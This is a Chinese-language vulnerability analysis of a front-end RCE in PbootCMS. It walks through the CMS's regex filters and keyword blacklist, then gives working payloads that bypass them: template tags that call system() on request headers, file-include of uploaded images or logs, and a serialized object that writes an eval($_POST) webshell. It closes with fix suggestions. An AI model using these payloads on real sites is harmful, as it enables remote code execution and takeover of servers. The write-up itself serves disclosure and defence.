pbootcms最新版本前台捡的rce-论如何绕废正则
字数 973 2025-08-19 12:42:04
PbootCMS 前台 RCE 漏洞分析与绕过技术详解
漏洞概述
PbootCMS 最新版本存在前台远程代码执行(RCE)漏洞,攻击者无需管理员权限即可利用该漏洞在目标系统上执行任意 PHP 代码。该漏洞源于模板解析过程中的安全过滤机制存在缺陷,导致攻击者可以绕过多重正则表达式过滤实现代码执行。
漏洞背景
PbootCMS 历史上存在多个安全漏洞,包括:
- 3.0.1 版本的 RCE 漏洞
- 文件上传后缀修改导致的 getshell 漏洞(需要管理员密码)
- 3.0.2 版本前可通过文件上传结合包含漏洞实现前台 getshell
安全防护机制分析
PbootCMS 设置了三个关键的正则表达式过滤机制:
第一个正则
\{pboot:if$([^}^\$]+)$\}([\s\S]*?)\{\/pboot:if\}
限制:if 语句中不能出现 }、^、$ 这三个字符
第二个正则
([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\(
限制:严格限制函数调用,几乎阻止了所有常规函数调用方式
第三个正则(黑名单)
过滤以下关键词:
$_GET[ $_POST[ $_REQUEST[ $_COOKIE[ $_SESSION[
file_put_contents file_get_contents fwrite phpinfo base64 `
shell_exec eval assert system exec passthru pcntl_exec popen
proc_open print_r print urldecode chr include request __FILE__
__DIR__ copy call_user_ preg_replace array_map array_reverse
array_filter getallheaders get_headers decode_string
htmlspecialchars session_id
漏洞利用技术
1. 文件包含利用(3.0.2 版本前)
前提:存在文件上传点(如用户头像上传)
Payload:
{pboot:if(1)require "/var/www/html/static/upload/image/xxxxxxx/1531651052463520.png";//)}sdfsd{/pboot:if}
替代方案:包含日志文件
{pboot{user:password}:if(1)require+\app\home\controller\ParserController::parserMemberLabel('/Applications/MAMP/htdocs/1.php');//)}sdfsd{/pboot:if}
2. 正则绕过技术
第一个正则绕过
利用双写替换机制:
- 将
pboot:if写为pboot{user:password}:if - 系统会识别正则并替换为空,最终还原为
pboot:if
第二个正则绕过
利用 PHP 动态函数调用特性:
(~urldecode("%8c%86%8c%8b%9a%92"))(~urldecode("%88%97%90%9e%92%96"));
(注:3.0.4 版本因 htmlspecialchars 处理不可见字符导致此方法失效)
第三个正则绕过
使用点号分隔函数名:
{pboot{user:password}:if(1)(sys.tem)(((ne.xt)((getallheade.rs)())));;//)}sdfsd{/pboot:if}
3. 反序列化利用(签到题预期解法)
O:1:"B":3:{s:7:"content";s:31:"<?php echo 1;eval($_POST[a]);?>";s:8:"filename";s:5:"1.php";s:6:"decade";O:3:"pdo":0:{};}
利用 fatal error 导致后续代码停止执行但 destruct 方法仍会执行的特性。
修复建议
- 严格匹配标签后才执行解析,破坏标签结构体(如将
{替换为{) - 更新至最新版本并检查所有用户输入过滤
- 实现更严格的函数调用限制
- 审查文件包含和反序列化操作的安全性
相关扩展
类似漏洞也存在于 zzzcms 1.8.4 版本中,其过滤列表存在缺陷(未过滤反引号等关键字符)。